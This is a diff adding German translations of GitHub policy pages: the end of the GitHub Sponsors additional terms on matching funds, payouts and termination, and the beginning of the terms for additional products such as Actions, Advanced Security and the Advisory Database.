+* Sie müssen über ein GitHub Konto verfügen, als Einzelperson in das Programm aufgenommen werden und aktiv zu OSS beitragen. Bitte beachten Sie, dass GitHub es nicht gestattet, mehr als ein kostenloses persönliches Konto zu betreiben. Daher ist das Matching nur auf Einzelbasis verfügbar und wird nicht für mehrere Konten genehmigt.
+
+* Ihre Nutzung von GitHub und Ihrem Sponsored Developer-Konto muss, basierend auf unserer Feststellung und nach unserem alleinigen Ermessen mit der Mission von GitHub Sponsors in Einklang stehen, die Möglichkeiten zu erweitern, zu einer Open Source beizutragen, die die [GitHub Community-Richtlinien](/github/site-policy/github-community-guidelines) einhält.
+
+* Sie können kein Matching für Sponsorings erhalten, die von einem Nutzer- oder Organisationskonto mit einem veröffentlichten GitHub Sponsors Profil stammen.
+
+* GitHub behält sich das Recht vor, Matching Fund-Gelder zurückzuhalten oder zu annullieren und jeden Nutzer aus irgendeinem Grund von der Teilnahme am GitHub Sponsors Matching Fund zu sperren. Dies gilt auch für das Posten von Inhalten oder Projekten, die GitHub als beleidigend oder auf andere Art anstößig erachtet.
+
+#### 2.2.2. Matching-Zeitraum.
+Der Matching-Zeitraum beginnt, nachdem GitHub ein einzelnes Sponsored Developer-Konto in GitHub Sponsors aufgenommen hat. Für jedes einzelne Sponsored Developer-Konto, der für den GitHub Sponsors Matching Fund teilnahmeberechtigt ist, kann GitHub während der ersten 12 Monate, die das betreffende Konto am Programm teilnimmt, Community-Sponsoring von bis zu insgesamt $5.000 USD vergeben. Der Matching-Zeitraum kann nicht verlängert werden. Während des Matching-Zeitraums erhebt GitHub keine Gebühren, sodass 100 % der Sponsorings an den Sponsored Developer gehen. In Zukunft werden wir unter Umständen eine nominale Bearbeitungsgebühr erheben.
+
+* Wenn ein Sponsoring oder ein Sponsoring-Abonnement aus irgendeinem Grund beendet wird, wird auch das zugehörige Matching beendet. Gelder, die dem Sponsor vor dem Datum der Sponsored Developer-Zahlung zurückgebucht wurden, kommen nicht für ein Matching infrage.
+
+* Wenn Sie GitHub Sponsors verlassen und später wieder beitreten, wird die Lücke zwischen Ihren Teilnahmezeiträumen gegebenenfalls auf Ihren Matching-Zeitraum angerechnet, oder Ihr Matching-Zeitraum kann ablaufen.
+
+
+* Wenn GitHub einen potenziellen Richtlinienverstoß feststellt, kann GitHub vor der Zahlung von Matching-Geldern, die während des Matching-Zeitraums gewährt wurden, Auszahlungen deaktivieren, bis die Untersuchung abgeschlossen ist, und Matching-Gelder, die an den Sponsored Developer gezahlt wurden, können widerrufen werden, wenn sich herausstellt, dass sie gegen diese Richtlinie verstoßen.
+
+* {% data reusables.sponsors.github-contact-applicants %}
+
+## 3. Sponsored Developer – Verpflichtungen.
+
+### 3.1. Allgemeines.
+Sie verpflichten sich: (A) ein Sponsored Developer-Konto zu erstellen; (B) Sponsored Developer-Inhalte über das Programm und den Dienst verfügbar zu machen; und (C) alle GitHub Richtlinien einzuhalten. Sie sind allein verantwortlich für den Support, die Entwicklung und Pflege Ihres Sponsored Developer-Kontos und der Sponsored Developer-Inhalte sowie für alle diesbezüglichen Beschwerden.
+
+### 3.2. Registrierung.
+Wenn Sie sich für das Programm bewerben, hängt Ihre Teilnahme davon ab, ob Sie den Registrierungsprozess abgeschlossen haben und von GitHub in das Programm aufgenommen wurden. Darüber hinaus müssen Sie sich möglicherweise bei den von GitHub ausgewählten Zahlungsdienstleistern (z. B. Stripe) registrieren, um auf bestimmte Funktionen des Programms zugreifen und diese nutzen zu können. Sie müssen sich mit Ihrer wahren Identität registrieren, und erklären sich damit einverstanden, wahre, genaue, aktuelle und vollständige Informationen über sich selbst bereitzustellen und zu pflegen, wie im Registrierungsformular des Programms verlangt. Registrierungsdaten und bestimmte andere Informationen über Sie unterliegen unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement) und gegebenenfalls der Datenschutzerklärung, die von unserem Zahlungsabwickler bereitgestellt wird. GitHub behält sich das Recht vor, die Aufnahme in das Programm abzulehnen.
+
+### 3.3. Monetarisierung von Inhalten.
+Über das Programm und den Dienst kann GitHub Ihnen verschiedene Optionen zur Monetarisierung Ihrer Sponsored Developer-Inhalte anbieten. Bei einigen Optionen müssen Sie möglicherweise bestimmte Einstellungen in Ihrem Sponsored Developer-Konto aktualisieren. Darüber hinaus kann die Art und Weise, wie das Programm die einzelnen Monetarisierungsoptionen unterstützt, unterschiedlich sein. Wenn Sie eine (oder mehrere) dieser Optionen nutzen, indem Sie die entsprechenden Einstellungen ändern, stimmen Sie automatisch den Bedingungen zu, die für diese Option gelten. Einige Monetarisierungsoptionen erfordern gegebenenfalls, dass Sie GitHub oder seinen Dienstanbietern zusätzliche Informationen zur Verfügung stellen oder zusätzliche GitHub Bedingungen oder Bedingungen von Drittanbietern akzeptieren.
+
+#### 3.3.1. Abonnements.
+Das Programm bietet Ihnen die Möglichkeit, Abonnements anzubieten. Wenn Sie sich dafür entscheiden, Abonnements anzubieten, zahlt Ihnen GitHub das Abonnement-Sponsoring, wie in Abschnitt 4 angegeben. Sie sind dafür verantwortlich, die Art, den Inhalt und die Möglichkeiten Ihres Abonnementangebots gemäß den vorliegenden Zusätzlichen Bedingungen und den geltenden GitHub Richtlinien festzulegen.
+
+#### 3.3.2. Andere Sponsorings.
+Das Programm oder der Dienst kann Ihnen die Möglichkeit geben, eine Spende oder eine andere Art von direktem Sponsoring von einem anderen Nutzer ohne ein Abonnementangebot anzunehmen. Da GitHub diese Arten von Sponsorings jedoch nicht ausführt, müssen Sie ein Händlerkonto bei einem externen Zahlungsdienstleister (z. B. Stripe) einrichten und die Geschäftsbedingungen und Datenschutzrichtlinien für Händlerkonten bei diesem Dienstanbieter einhalten. Alle an Sie gespendeten Beträge und sonstige Gelder werden direkt auf Ihr Händlerkonto gezahlt und sind nicht in den Sponsored Developer-Zahlungen enthalten. Sie stimmen zu, dass Sie keine Ansprüche oder Rechtsbehelfe gegen GitHub in Bezug auf Spenden haben und dass alle Streitigkeiten im Zusammenhang mit einer Spende ausschließlich zwischen Ihnen und dem externen Zahlungsdienstleister bestehen. Sie sind für die Einhaltung jeglicher Vereinbarungen und Richtlinien des externen Zahlungsdienstleisters sowie für die Einhaltung aller anwendbaren Gesetze und Vorschriften verantwortlich. GitHub kann sich dafür entscheiden, Ihnen Informationen oder einen Bericht über die Höhe der an Sie geleisteten Spenden zur Verfügung zu stellen.
+
+#### 3.3.3. Werbung.
+Obwohl wir verstehen, dass Sie möglicherweise Ihre Sponsoren bewerben möchten, indem Sie ihre Namen oder Logos in Ihrem Konto veröffentlichen, sollte der Hauptfokus Ihrer Sponsored Developer-Inhalte nicht auf Werbung oder Verkaufsförderung liegen. Darüber hinaus dürfen Sie keine Werbevereinbarung abschließen, um für ein Produkt oder eine Marke zu werben, wenn dies laut der [Vereinbarung](/github/site-policy/github-terms-of-service) oder den Community-Richtlinien von GitHub untersagt ist. Wenn Sie sich entscheiden, Werbe- oder Verkaufsförderungsmaterialien in Ihren Sponsored Developer-Inhalten zu hosten, sind Sie allein verantwortlich für die Einhaltung aller geltenden Gesetze und Vorschriften, einschließlich der Richtlinien der US Federal Trade Commission on Endorsements and Testimonials.
+
+## 4. Bestimmungen im Zusammenhang mit Finanzen. 
+
+### 4.1. Zahlung.
+GitHub zahlt Ihnen die Sponsored Developer-Zahlung gemäß diesem Abschnitt 4, solange Sie Ihre Verpflichtungen als Sponsored Developer gemäß Abschnitt 3 erfüllen und nicht gegen die vorliegenden Zusätzlichen Bedingungen verstoßen. Wenn Sie diese Verpflichtungen für einen bestimmten Monat nicht erfüllen, können wir nach unserem alleinigen Ermessen die Sponsored Developer-Zahlung für diesen Monat zurückhalten. Wenn Sie Ihre Verpflichtungen als Sponsored Developer für zwei (2) oder mehr Monate während der Laufzeit (aufeinanderfolgend oder nicht aufeinanderfolgend) nicht erfüllen, kann GitHub die vorliegenden Zusätzlichen Bedingungen kündigen, wie in Abschnitt 6 vorgesehen.
+
+###  4.2. Ausschlüsse von Sponsored Developer-Zahlungen.
+Die folgenden Beträge sind nicht in den Sponsored Developer-Zahlungen enthalten oder können gegebenenfalls von GitHub einbehalten werden.
+
+#### 4.2.1. Sponsored Developer-Ausgaben.
+Sie tragen alle Kosten, die Ihnen im Zusammenhang mit Ihrer Leistung gemäß diesen Zusätzlichen Bedingungen entstehen. Wir werden Ihnen keine Kosten erstatten oder vorschießen.
+
+#### 4.2.2. Steuern.
+GitHub befolgt alle anwendbaren Gesetze zur Meldung von Steuerinformationen und zum Steuereinbehalt, die GitHub nach eigenem Ermessen auf diese Zahlungen anwendet. Wenn Steuern auf Beträge einbehalten werden müssen, die von GitHub an Sie zu zahlen sind, oder auf Beträge, die nach geltendem Recht der Meldung von Steuerinformationen unterliegen, wird GitHub diese Steuern von dem geschuldeten Betrag abziehen und an die zuständige Steuerbehörde abführen und bei Bedarf eine offizielle Quittung für solche einbehaltenen Steuern anfordern und Ihnen zustellen, wenn dies nach geltendem Recht erforderlich ist. GitHub wird angemessene Anstrengungen unternehmen, um derartige einbehaltene Steuern auf das nach dem anwendbaren Recht zulässige Mindestmaß zu beschränken, und beide Parteien werden in angemessener Weise zusammenarbeiten, um den niedrigsten Steuersatz zu erhalten oder eine Eliminierung derartiger Steuern gemäß den anwendbaren Einkommenssteuerverträgen zu erreichen. Dazu gehört, dass Sie GitHub angemessene Informationen zur Verfügung stellen, die nach geltendem Recht erforderlich sind, wie z. B. die IRS-Formulare W-8, W-9 oder andere Informationen, um Steuerausnahmen zu begründen. Sie sind auch dafür verantwortlich, die Geschäftsbedingungen von externen Zahlungsabwicklern in Bezug auf Steuereinbehalt und Steuerberichtswesen einzuhalten. Darüber hinaus behält sich GitHub das Recht vor, Zahlungen auf Ihr Konto auszusetzen, bis Sie GitHub angemessene Unterlagen oder Informationen zur Verfügung stellen, die nach geltendem Recht für GitHub erforderlich sind, um geltende Steuereinbehaltungs- oder Berichtspflichten zu bestimmen, die für die Zahlungen gemäß den vorliegenden Zusätzlichen Bedingungen oder der Vereinbarung gelten.
+
+#### 4.2.3. Einbehaltung von Sponsored Developer-Zahlungen aufgrund von Verstößen.
+Im Falle eines Verstoßes oder mutmaßlichen Verstoßes eines Sponsored Developer gegen die vorliegenden Zusätzlichen Bedingungen oder die Vereinbarung behält sich GitHub das Recht vor, die Zahlung an den Sponsored Developer gemäß diesen Zusätzlichen Bedingungen oder anderweitig zurückzuhalten, bis GitHub eine angemessene Untersuchung diesbezüglich durchgeführt hat. Wenn GitHub nach eigenem Ermessen feststellt, dass ein Sponsored Developer gegen die vorliegenden Zusätzlichen Bedingungen oder die Vereinbarung verstößt, kann GitHub alle dem Sponsored Developer zustehenden Beträge dauerhaft zurückhalten.
+
+### 4.3. Zahlungszeitpunkt.
+Während der Laufzeit überweist GitHub Ihnen alle in einem bestimmten Monat erhaltenen Sponsored Developer-Zahlungen innerhalb von 30 Tagen nach Ende dieses Monats, vorbehaltlich der folgenden Variablen. Auszahlungen werden über Stripe Connect, ACH-Überweisung oder Banküberweisung auf das Bankkonto gesendet, das Sie bei der Bewerbung für GitHub Sponsors angegeben haben. Wir sind nicht für Verzögerungen, Verlust oder Missbrauch von Geldmitteln infolge falscher oder unvollständiger Informationen verantwortlich, die von Ihnen oder einer Bank bereitgestellt worden sind, oder für Fehler einer Bank bei der Gutschrift auf Ihr Konto.
+
+- Für neu erstellte Sponsored Developer-Konten überweist GitHub Ihnen alle in einem bestimmten Monat erhaltenen Sponsored Developer-Zahlungen innerhalb von 90 Tagen nach Erstellung Ihres Sponsored Developer-Kontos, vorbehaltlich der folgenden Variablen. Zahlungen danach werden gemäß diesem Abschnitt innerhalb von 30 Tagen nach Ende des jeweiligen Monats überwiesen.
+
+- Wenn Sie über Stripe Connect bezahlt werden, erhalten Sie am 22. des Monats Auszahlungen für das seit der letzten Auszahlung aufgelaufene Guthaben, unabhängig von der Höhe des Guthabens. Die Auszahlungsdaten variieren je nach Land und können sich aufgrund von Feiertagen, Wochenenden und anderen Faktoren von Monat zu Monat ändern.
+
+- Wenn Sie per ACH-Überweisung oder Banküberweisung bezahlt werden, erhalten Sie die Auszahlungen am dritten Donnerstag des Monats. GitHub stellt Ihnen für jeden Monat, in dem Ihr Guthaben 100 USD erreicht, eine Auszahlung aus. Beiträge aus dem GitHub Sponsors Matching Fund zählen nicht zu diesem Schwellenwert. Wenn Ihr Guthaben am Ende des Monats unter 100 USD liegt, wird das Guthaben angesammelt, bis Ihr Guthaben das nächste Mal am Ende des Monats über dem Schwellenwert liegt. Wenn Sie GitHub Sponsors verlassen, zahlt GitHub Ihr verbleibendes Guthaben aus, selbst wenn das Guthaben unter 100 USD liegt.
+
+- Nach der Kündigung überweisen wir Ihnen alle erhaltenen und unbezahlten Sponsored Developer-Zahlungen innerhalb von etwa 90 Tagen nach dem Ende des Kalendermonats, in dem wir erkennen, dass diese Zusätzlichen Bedingungen gekündigt wurden.
+
+### 4.4. Zahlungsmethode.
+Wir überweisen Sponsored Developer-Zahlungen per ACH/SEPA oder per Überweisung auf ein von Ihnen angegebenes Konto, vorbehaltlich der Schwellenwerte, Methoden und Zeitrahmen, die in unseren jeweils aktuellen Zahlungsrichtlinien angegeben sind. Die Zahlungsmethode und der Schwellenwert können je nach Land und Kontoinformationen, die Sie angeben, variieren. Wir können nach eigenem Ermessen die Sponsored Developer-Zahlung mit allen anderen Zahlungen kombinieren, wir Ihnen schulden.
+
+### 4.5. Währung.
+Alle Währungsangaben beziehen sich auf USD. Wenn Sie sich außerhalb der Vereinigten Staaten befinden, können wir für die Zahlung USD in die lokale Währung Ihres Wohnsitzlandes umrechnen, wobei wir unsere dann aktuellen Umrechnungskurse verwenden.
+
+### 4.6. Rückerstattungsanforderungen.
+Sie sind dafür verantwortlich, die Bedingungen für eventuelle Rückerstattungen an Ihre Sponsoren festzulegen. In keinem Fall ist GitHub für die Bereitstellung von Support für Rückerstattungen verantwortlich, noch ist GitHub für die Zahlung von Rückerstattungen haftbar.
+
+### 4.7. Angeforderte Zahlungsinformationen.
+Damit wir Zahlungen an Sie leisten können, müssen Sie uns vollständige und genaue Finanz-, Steuer- und Bankinformationen zur Verfügung stellen (z. B. durch Erstellung oder Einrichtung eines Kontos oder auf andere Weise). Wir werden Sie auf jedem Kommunikationsweg über Änderungen der erforderlichen Informationen informieren. Wenn Sie diese Informationen nicht korrekt bereitstellen (oder nicht korrekt pflegen), (a) können wir alle damit verbundenen Bankgebühren von Ihrer Sponsored Developer-Zahlung abziehen und (b) können wir die vorliegenden Zusätzlichen Bedingungen kündigen und Sie büßen alle Ihnen von GitHub geschuldeten Beträge ein.
+
+### 4.8. Stripe Connect
+
+Wenn Sie über Stripe Connect bezahlt werden, gelten die folgenden zusätzlichen Bedingungen für Ihre Nutzung von GitHub Sponsors:
+
+**Vollständige Dienstleistungsvereinbarung**
+
+_Gilt für Sponsored Developer-Konten, die in folgenden Ländern registriert sind: Australien, Österreich, Belgien, Kanada, Dänemark, Estland, Finnland, Frankreich, Deutschland, Griechenland, Hongkong, Irland, Italien, Japan, Lettland, Litauen, Luxemburg, in den Niederlanden, Neuseeland, Norwegen, Polen, Portugal, Slowakei, Slowenien, Spanien, Schweden, in der Schweiz, im Vereinigten Königreich, in den Vereinigten Staaten._
+
+Zahlungsverarbeitungsdienste für Sponsored Developer-Konten auf GitHub Sponsors werden von Stripe bereitgestellt und unterliegen der [Vereinbarung über verbundene Stripe Konten](https://stripe.com/connect-account/legal/full), zu der auch die [Stripe Nutzungsbedingungen](https://stripe.com/legal) gehören (zusammen die „Stripe Dienstleistungsvereinbarung“). Indem Sie diesen Bedingungen zustimmen oder weiterhin als Sponsored Developer-Konto auf GitHub Sponsors agieren, stimmen Sie zu, an die Stripe Dienstleistungsvereinbarung in ihrer jeweils gültigen Fassung gebunden zu sein. Als Bedingung dafür, dass GitHub Zahlungsabwicklungsdienste über Stripe ermöglicht, stimmen Sie zu, GitHub genaue und vollständige Informationen über Sie und Ihr Unternehmen bereitzustellen, und Sie autorisieren GitHub, diese Informationen sowie Transaktionsinformationen im Zusammenhang mit Ihrer Nutzung der von Stripe bereitgestellten Zahlungsabwicklungsdienste weiterzugeben.
+
+**Servicevereinbarung für Empfänger**
+
+_Gilt für Sponsored Developer-Konten in allen anderen Ländern._
+
+Wir verwenden Stripe, um Auszahlungen an Sponsored Developer-Konten vorzunehmen. Die [Stripe Servicevereinbarung für Empfänger](https://stripe.com/connect-account/legal/recipient) gilt für Ihren Erhalt solcher Auszahlungen. Um Auszahlungen von GitHub Sponsors zu erhalten, müssen Sie uns genaue und vollständige Informationen über sich und Ihr Unternehmen zur Verfügung stellen, und Sie autorisieren uns, diese Informationen sowie Transaktionsinformationen im Zusammenhang mit Ihrer Auszahlung an Stripe weiterzugeben.
+
+## 5. Zusicherungen und Gewährleistungen; Haftungsbeschränkung; Schadenersatz.
+
+### 5.1. Vom Sponsored Developer.
+Der Sponsored Developer erklärt und garantiert, dass:
+
+* Sie über die erforderliche Befugnis verfügen, diesen Zusätzlichen Bedingungen zuzustimmen;
+
+* Ihre Ausführung und Erfüllung dieser Zusätzlichen Bedingungen nicht gegen andere Vereinbarungen oder Verpflichtungen zwischen Ihnen und Dritten verstößt;
+
+* die Sponsored Developer-Inhalte keine Rechte Dritter, einschließlich Urheberrechte, Marken, Patente, Geschäftsgeheimnisse, Urheberpersönlichkeitsrechte, Datenschutzrechte, Veröffentlichungsrechte oder sonstiges geistiges Eigentum verletzen;
+
+* Sie alle Gesetze und Vorschriften einhalten werden und Ihre Sponsored Developer-Inhalte nicht illegal sind und nicht gegen Gesetze oder Vorschriften verstoßen.
+
+### 5.2. Gewährleistungsausschluss, Haftungsbeschränkung und Schadensersatz.
+SIE STIMMEN AUSDRÜCKLICH ZU, DASS DIE ABSCHNITTE O (HAFTUNGSAUSSCHLUSS), P (HAFTUNGSBESCHRÄNKUNG) UND Q (FREISTELLUNG UND SCHADENERSATZ) DER VEREINBARUNG FÜR DIE VORLIEGENDEN ZUSÄTZLICHEN BEDINGUNGEN GELTEN.
+
+## 6. Laufzeit und Kündigung.
+
+### 6.1. Laufzeit.
+Diese Zusätzlichen Bedingungen gelten ab dem Tag des Inkrafttretens und bleiben in Kraft, solange Sie an dem Programm teilnehmen.
+
+### 6.2. Aussetzung.
+GitHub kann Ihr gesponsertes Entwicklerkonto sofort aussetzen, wenn Sie in irgendeiner Weise gegen diese Zusätzlichen Bedingungen oder die Vereinbarung verstoßen, oder wenn Sie auf einer Liste mit Handelsbeschränkungen stehen oder sich in einem Land oder Gebiet befinden oder Ihren gewöhnlichen Wohnsitz dort haben, das umfassenden Sanktionen unterliegt, die vom U.S. Office of Foreign Assets Control (OFAC) verwaltet werden. Wenn der Grund für die Sperrung nicht korrigiert oder behoben wird, kann dies zur Kündigung Ihres Sponsored Developer-Kontos führen.
+
+### 6.3. Kündigung.
+Jede Partei kann diese Zusätzlichen Bedingungen und Ihr Sponsored Developer-Konto jederzeit ohne Angabe von Gründen und ohne Frist gekündigt werden. Wenn Sie gegen diese Zusätzlichen Bedingungen oder die Vereinbarung verstoßen, können wir Ihnen eine Frist zur Behebung des Verstoßes einräumen, sind aber nicht dazu verpflichtet.
+
+### 6.4. Wirkung der Kündigung.
+Wenn eine der Parteien gemäß Abschnitt 6.3 kündigt, besteht die einzige Verpflichtung von GitHub darin, dem Sponsored Developer den bis zum Datum der Kündigung aufgelaufenen Betrag der Sponsored Developer-Zahlung zu zahlen, es sei denn, solche Zahlungen sind gesetzlich verboten.
+
+## 7. Sonstiges.
+
+### 7.1. Gesamter Vertrag.
+Diese Zusätzlichen Bedingungen stellen zusammen mit der Vereinbarung, den GitHub Richtlinien, der GitHub Datenschutzerklärung und allen zusätzlichen Bedingungen für verschiedene Monetarisierungsoptionen die gesamte Vereinbarung zwischen Ihnen und GitHub dar.
+
+### 7.2. Änderungen dieser Bedingungen.
+Wir behalten uns das Recht vor, diese Zusätzlichen Bedingungen jederzeit nach eigenem Ermessen zu ändern. Wir werden Sie über wesentliche Änderungen dieser Zusätzlichen Bedingungen, wie z. B. Preisänderungen, mindestens 30 Tage vor dem Inkrafttreten der Änderung durch Veröffentlichung einer Mitteilung auf unserer Website informieren. Durch Ihre fortgesetzte Teilnahme am Programm geben Sie Ihre Zustimmung zu jeder überarbeiteten Version dieser Zusätzlichen Bedingungen. Sie können alle Änderungen an diesen Bedingungen in unserem Repository für [Website-Richtlinien](https://github.com/github/site-policy) einsehen.
+
+### 7.3. Drittbegünstigte.
+Sofern nicht ausdrücklich angegeben, wird davon ausgegangen, dass keine andere Person, Firma, Gruppe oder Körperschaft als die Parteien Rechte aufgrund von Inhalten dieser Zusätzlichen Bedingungen erworben hat.
+
+### 7.4. Unabhängige Vertragspartner.
+Die Parteien sind unabhängige Vertragspartner. Keine der Parteien ist Arbeitgeber, Angestellter, Agent, Partner oder gesetzlicher Vertreter der anderen Partei, und keine der Parteien hat das Recht, die Befugnis oder die Autorität, im Namen der anderen Partei eine Verpflichtung oder Verantwortung zu übernehmen.
+
+### 7.5. Werbung.
+Unter Umständen geben wir eine Pressemitteilung oder andere öffentliche Mitteilungen im Zusammenhang mit Ihrer Teilnahme am Programm heraus.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md b/translations/de-DE/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md
new file mode 100644
index 0000000000..068abfc9a5
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md
@@ -0,0 +1,146 @@
+---
+title: GitHub Nutzungsbedingungen für zusätzliche Produkte und Funktionen
+redirect_from:
+  - /github/site-policy/github-additional-product-terms
+  - /github/site-policy/github-terms-for-additional-products-and-features
+  - /github/site-policy-deprecated/github-connect-addendum-to-the-github-enterprise-license-agreement
+  - /articles/github-com-connection-addendum-to-the-github-enterprise-license-agreement
+  - /articles/github-connect-addendum-to-the-github-enterprise-license-agreement
+  - /github/site-policy/github-connect-addendum-to-the-github-enterprise-license-agreement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 8797f3c85a5db4be9d00976619fd7adde470cb93
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858648'
+---
+Version/Wirksamkeitsdatum: 10. August 2021
+
+Wenn Sie GitHub verwenden, erhalten Sie möglicherweise Zugriff auf viele zusätzliche Produkte und Funktionen („Zusätzliche Produkte und Funktionen“). Da viele der Zusätzlichen Produkte und Funktionen unterschiedliche Funktionen bieten, können zusätzlich zu Ihrem Hauptvertrag mit uns – den GitHub Nutzungsbedingungen, den GitHub Nutzungsbedingungen für Unternehmen, den Allgemeinen Geschäftsbedingungen von GitHub oder dem Microsoft Volumenlizenzvertrag (jeweils der „Vertrag”) – spezifische Bedingungen für dieses Produkt oder diese Funktion gelten. Nachfolgend haben wir diese Produkte und Funktionen zusammen mit den entsprechenden zusätzlichen Bedingungen aufgelistet, die für deren Verwendung gelten.
+
+Durch die Nutzung der zusätzlichen Produkte und Funktionen stimmen Sie auch den anwendbaren GitHub Bedingungen für zusätzliche Produkte und Funktionen zu, die unten aufgeführt sind. Ein Verstoß gegen diese GitHub-Nutzungsbedingungen für zusätzliche Produkte und Funktionen stellt auch einen Verstoß gegen die Vereinbarung dar. Die verwendeten Begriffe, die hierin nicht definiert sind, haben dieselbe Bedeutung wie in der Vereinbarung.
+
+**Für Enterprise-Nutzer**
+- Benutzer von **GitHub Enterprise Cloud** haben möglicherweise Zugriff auf die folgenden zusätzlichen Produkte und Funktionen: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Packages und Pages. 
+
+- Benutzer von **GitHub Enterprise Server** haben möglicherweise Zugriff auf die folgenden zusätzlichen Produkte und Funktionen: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Packages, Pages und SQL Server Images. 
+
+- **GitHub AE** Nutzer haben möglicherweise Zugriff auf die folgenden zusätzlichen Produkte und Funktionen: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Packages und Pages.
+
+## Actions
+Mit GitHub Actions können Sie benutzerdefinierte Lebenszyklusworkflows für die Softwareentwicklung direkt in Ihrem GitHub-Repository erstellen. Actions wird nutzungsbasiert abgerechnet. Die [Dokumentation von Actions](/actions) enthält Details, einschließlich Rechen- und Speichermengen (abhängig von Ihrem Kontoplan) und wie Sie die Nutzung Ihrer Actions-Minuten überwachen und Nutzungslimits festlegen können. 
+
+Actions und alle Elemente des Actions-Produkts oder -Dienstes dürfen nicht unter Verstoß gegen die Vereinbarung, die [GitHub Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) oder die Einschränkungen des GitHub Actions-Dienstes erfolgen, die in der [Actions-Dokumentation](/actions/reference/usage-limits-billing-and-administration) dargelegt sind. Unabhängig davon, ob eine Action selbst gehostete Runner verwendet, sollten Actions außerdem nicht für Folgendes verwendet werden:
+- Krypto-Mining;
+- Unterbrechung, Erlangung oder Versuch der Erlangung unbefugten Zugriffs auf Dienste, Geräte, Daten, Konten oder Netzwerke (außer denen, die vom [GitHub Bug Bounty-Programm](https://bounty.github.com)) autorisiert wurden;
+- zur Bereitstellung einer eigenständigen oder integrierten Anwendung oder eines Dienstes, der das Actions-Produkt oder den Actions-Dienst oder Elemente des Actions-Produkts oder -Dienstes für kommerzielle Zwecke anbietet;
+- für jede Aktivität, die unsere Server belastet, wenn diese Belastung in keinem Verhältnis zu den Vorteilen für die Nutzer steht (z. B. sollten Actions nicht als Content Delivery Network oder als Teil einer serverlosen Anwendung verwendet werden, aber eine Action mit geringem Nutzen könnte in Ordnung sein, wenn sie auch eine geringe Belastung darstellt); oder
+- bei der Verwendung von auf GitHub gehosteten Runnern für jede andere Aktivität, die nicht mit der Produktion, dem Testen, der Bereitstellung oder der Veröffentlichung des Softwareprojekts zusammenhängt, das mit dem Repository verbunden ist, in dem GitHub-Aktionen verwendet werden.
+
+Um Verstöße gegen diese Einschränkungen und Missbrauch von GitHub Actions zu verhindern, kann GitHub Ihre Nutzung von GitHub Actions überwachen. Der Missbrauch von GitHub Actions kann zur Beendigung von Beschäftigungsverhältnissen, zu Einschränkungen Ihrer Möglichkeiten zur Nutzung von GitHub Actions, zur Deaktivierung von Repositories führen, die zur Ausführung von Actions auf eine Weise erstellt wurden, die gegen diese Bedingungen verstößt, oder in einigen Fällen die Aussetzung oder Kündigung Ihres GitHub Kontos nach sich ziehen.
+
+*Verwendung zu Entwicklungs- und Testzwecken*
+
+Sie dürfen auf GitHub Actions nur zugreifen und es verwenden, um Ihre Anwendungen zu entwickeln und zu testen. Auf einen von Actions bereitgestellten virtuellen Computer darf immer nur ein lizenzierter Nutzer zugreifen.
+
+*Autorisierter Entwickler*
+
+Sie ernennen GitHub zu Ihrem autorisierten Entwickler in Bezug auf Apple Software, die in Actions enthalten ist. GitHub ist für die Einhaltung der Bestimmungen für solche in Actions enthaltene Software verantwortlich und wird alle vertraulichen Informationen von Apple, auf die im Rahmen von Actions zugegriffen wird, vertraulich behandeln.
+
+*Zugriff auf Drittanbieter-Repositorydienst*
+
+Wenn Sie GitHub Zugriff auf Ihre Repositorydienst-Konten von Drittanbietern gewähren, autorisieren Sie GitHub, die Konten, einschließlich der Inhalte Ihrer Öffentlichen und Privaten Repositories, zum Zweck der Bereitstellung von GitHub Actions zu scannen.
+
+*Selbst gehostete Runner auf GitHub Actions*
+
+Wenn Sie selbst gehostete Runner verwenden, haben Sie die Möglichkeit, automatische Updates zu deaktivieren. GitHub behält sich jedoch das Recht vor, diese Auswahl für kritische Sicherheitsupdates außer Kraft zu setzen.
+
+## Erweiterte Sicherheit
+GitHub stellt Kunden zusätzliche Sicherheitsfunktionen im Rahmen einer Advanced Security-Lizenz zur Verfügung. Zu diesen Funktionen gehören Code-Scanning, Secret-Scanning und Abhängigkeitsprüfung. Die [Dokumentation über erweiterte Sicherheit](/github/getting-started-with-github/about-github-advanced-security) liefert weitere Einzelheiten.
+
+Erweiterte Sicherheit wird für die Lizenz „Individueller Software-Entwickler“ angeboten. Ein „Individueller Software-Entwickler“ ist ein lizenzierter Nutzer von GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server oder GitHub AE, der in den letzten 90 Tagen eine Codeübergabe an ein beliebiges Repository mit aktivierter GitHub Advanced Security-Funktionalität vorgenommen hat. Sie müssen für jeden Ihrer individuellen Software-Entwickler eine GitHub Advanced Security User-Lizenz erwerben. Sie dürfen GitHub Advanced Security auf jede Codebasis anwenden, die von Ihnen oder für Sie entwickelt wurde. Für GitHub Enterprise Cloud-Nutzer ist bei einigen erweiterten Sicherheitsfunktionen auch die Verwendung von GitHub Actions erforderlich. 
+
+## Beratungsdatenbank
+Die GitHub Advisory Database ermöglicht Ihnen das Durchsuchen oder Suchen nach Schwachstellen, die Open-Source-Projekte auf GitHub betreffen.
+
+_Lizenzgewährung an uns_
+
+Wir müssen rechtlich dazu autorisiert sein, Ihre Beiträge in der GitHub Advisory Database an öffentlich zugängliche Datensätze wie die [National Vulnerability Database](https://nvd.nist.gov/) zu übermitteln, und die GitHub Advisory Database unter offenen Bedingungen zu lizenzieren, damit sie von Sicherheitsexperten, von der Open-Source-Community, der Branche und der Öffentlichkeit genutzt werden kann. Sie erklären sich damit einverstanden, Ihre Beiträge in der GitHub Advisory Database unter der [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) freizugeben.
+
+_Lizenz für die GitHub Advisory Database_
+
